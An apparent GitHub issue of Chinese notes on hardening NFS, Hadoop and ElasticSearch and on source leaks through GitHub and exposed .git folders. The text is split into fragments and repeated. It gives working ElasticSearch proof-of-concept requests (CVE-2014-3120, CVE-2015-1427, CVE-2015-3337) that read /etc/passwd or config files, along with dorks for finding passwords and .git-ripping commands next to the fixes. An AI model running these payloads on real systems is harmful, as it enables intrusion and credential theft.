Open PyxYuYu opened 7 years ago
Laughter is an instant vacation.
NFS
Network File System
IP
IP段
Web
webshell
/etc/exports
nmap
TCP 2049
showmount -e ip
nmap -Pn -p2049 -sV --open ip showmount -e ip
Hadoop
WebUI
HDFS
Google File System(GFS)
NameNode
50070
nmap --script=hadoop-namenode-info.nse X.X.X.X -p 50070
NameNode WebUI
SecondNameNode
50090
DataNode
50075
RESTFUL API
Backup/Checkpoint Node
50105
MapReduce
JobTracker
50030
TaskTracker
50060
Cloudera Manager <= 5.5
Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
Template rename stored XSS (CVE-2016-4948)
Kerberos wizard stored XSS (CVE-2016-4948)
Host addition reflected XSS (CVE-2016-4948)
Cloudera HUE =< 3.9.0
Enumerating users with an unprivileged account (CVE-2016-4947)
Stored XSS (CVE-2016-4946)
Open redirect
Apache Ranger =< 0.5
Unauthenticated policy download
Authenticated SQL injection (CVE-2016-2174)
Apache Group Hadoop 2.6.x
Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)
Hive
ETL
SQL
HQL
mapper
reducer
transform
Map/Reduce
shell/python
Spark
6066
7077
jar
SSH
安全组防火墙
本地操作系统防火墙
访问源IP
herberos
Nginx
Iptables
jmx/logs/cluster/status.jsp/
ElasticSearch
CVE-2014-3120
ElastciSearch
scripting
MVEL
ElasticSearch 1.2
http
POC
http://127.0.0.1:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111107529820275958627_1400564696673&_=1400564696674
elasticsearch.yml
script.disable_dynamic: true
ElasticSearch Groovy
CVE-2015-1427
ElasticSearch 1.3.0-1.3.7
1.4.0-1.4.2
Groovy
POST http://127.0.0.1:9200/_search?pretty {"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
script.groovy.sandbox.enabled: true
CVE-2015-3337
curl http://127.0.0.1:9200/_plugin/head/../../config/elasticsearch.yml 注意curl版本 curl http://127.0.0.1:9200/_plugin/插件名称如head/../../xx文件
http://localhost:9200/_river/search exp-db: CVE-2015-3337
Shield
network.bind_host: 内网ip
HTTP Server
Github
SVN
Google hack: site:Github.com smtp site:Github.com sa password site:Github.com root password site:Github.com User ID='sa';Password site:Github.com svn site:Github.com ftp
Gitrob
Weakfilescan
GitPrey
GitMiner
GitHack
Git
git init
.git
Google
".git" intitle:"index of"
wget --mirror --include-directories=/.git http://www.target.com/.git cd www.target.com
git reset --hard
dvcs-ripper
Example: ./rip-git.pl -v -u http://www.example.com/.git/ Example: ./rip-git.pl # with url and options in /root/.rip-git
0x01 Drops Wiki
NFS
安全配置(Network File System
)NFS
可挂载的IP
或IP段
NFS
的权限进行设置,任何人均可写Web
文件,可以直接写入webshell
/etc/exports
中限制可以挂载的IP
或IP段
nmap
扫描TCP 2049
端口,然后试用showmount -e ip
进行权限查看Hadoop
安全配置WebUI
敏感信息泄漏Hadoop
默认情况开放了很多端口提供WebUI
,如果布置在外网,多多少少会泄漏一些信息HDFS
(Google File System(GFS)
的开源实现,为数据提供存储)NameNode
默认端口50070
nmap --script=hadoop-namenode-info.nse X.X.X.X -p 50070
NameNode WebUI
管理界面50070
端口,可以下载任意文件SecondNameNode
默认端口50090
DataNode
默认端口50075
50075
端口默认开放的话,攻击者可以通过HDFS
提供的RESTFUL API
对HDFS
存储数据进行操作Backup/Checkpoint Node
默认端口50105
MapReduce
(一种编程模型,为大规模数据集(大于1TB)提供运算)JobTracker
默认端口50030
TaskTracker
默认端口50060
MapReduce
代码执行漏洞Hadoop
第三方插件安全漏洞Cloudera Manager <= 5.5
Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
Template rename stored XSS (CVE-2016-4948)
Kerberos wizard stored XSS (CVE-2016-4948)
Host addition reflected XSS (CVE-2016-4948)
Cloudera HUE =< 3.9.0
Enumerating users with an unprivileged account (CVE-2016-4947)
Stored XSS (CVE-2016-4946)
Open redirect
Apache Ranger =< 0.5
Unauthenticated policy download
Authenticated SQL injection (CVE-2016-2174)
Apache Group Hadoop 2.6.x
Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)
Hive
任意命令/代码执行漏洞Hive
是建立在Hadoop
上的数据仓库基础架构,它提供了一系列工具,可以用来进行数据提取转化加载(ETL
),这是一种可以存储、查询和分析存储在Hadoop
中的大规模数据的机制,Hive
定义了简单的类SQL
查询语言,称为HQL
,它允许熟悉SQL
的用户查询数据,同时,这个语言也允许熟习MapReduce
开发者的开发自定义的mapper
和reducer
来处理内建的mapper
和reducer
无法完成的复杂的分析工作HQL
可以通过transform
自定义Hive
使用的Map/Reduce
脚本,从而调用shell/python
等语言,导致攻击者可以通过Hive
接口等相关操作方式直接获取服务器权限Spark
6066
7077
端口也存在类似的安全问题,默认情况下可以推送jar
包执行,如果权限足够大可以实现植入SSH
公钥安全组防火墙
或本地操作系统防火墙
对访问源IP
进行控制,如果仅对内网服务器提供服务,建议禁止将Hadoop
服务所有端口发布到互联网上herberos
认证功能Nginx
反向代理、Iptables
解决jmx/logs/cluster/status.jsp/
Hadoop
集群单独部署,做好安全监控发现被攻击迹象及时报警ElasticSearch
安全配置ElasticSearch
远程命令执行(CVE-2014-3120
)ElastciSearch
有脚本执行(scripting
)的功能,可以很方便的对查询出来的数据再加工,ElasticSearch
用的脚本引擎是MVEL
,这个引擎没有做任何的防护,或沙盒包装,所以直接可以执行任意代码ElasticSearch 1.2
之前的版本中,默认配置是打开动态脚本功能的,如果用户没有更改默认配置文件,攻击者可以直接通过http
请求执行任意代码POC
:ElasticSearch
为最新版本elasticsearch.yml
里为每个节点都加上:script.disable_dynamic: true
ElasticSearch Groovy
命令执行漏洞(CVE-2015-1427
)ElasticSearch 1.3.0-1.3.7
和1.4.0-1.4.2
,ElasticSearch
在比较新的版本中对脚本语言引擎使用了Groovy
,并且加入了沙盒进行控制,危险代码会被拦截掉,由于沙盒限制不严格,导致漏洞的产生POC
:ElasticSearch
为最新版本elasticsearch.yml
里为每个节点都加上:script.groovy.sandbox.enabled: true
ElasticSearch
任意文件读取漏洞(CVE-2015-3337
)POC
:ElasticSearch
为最新版本ElasticSearch
数据库配置文件读取问题POC
:ElasticSearch
官方的Shield
Iptables
规则elasticsearch.yml
文件中的network.bind_host: 内网ip
,仅允许内网访问HTTP Server
Github
导致文件泄漏Github
中被泄漏的敏感信息包括以下几类SVN
信息Github
上找到需要的信息以下示例Github
敏感信息收集工具Gitrob
Weakfilescan
GitPrey
GitMiner
GitHack
Github
公开仓库前注意对敏感信息打码或者删除Git
导致文件泄漏git init
初始化代码库的时候,会在当前目录下面产生一个.git
的隐藏文件,用来记录代码的变更记录等等,在发布代码的时候,把.git
这个目录没有删除,直接发布了,攻击者使用这个文件,就可以用来恢复源代码Google
搜索.git
文件dvcs-ripper
GitHack
.git
文件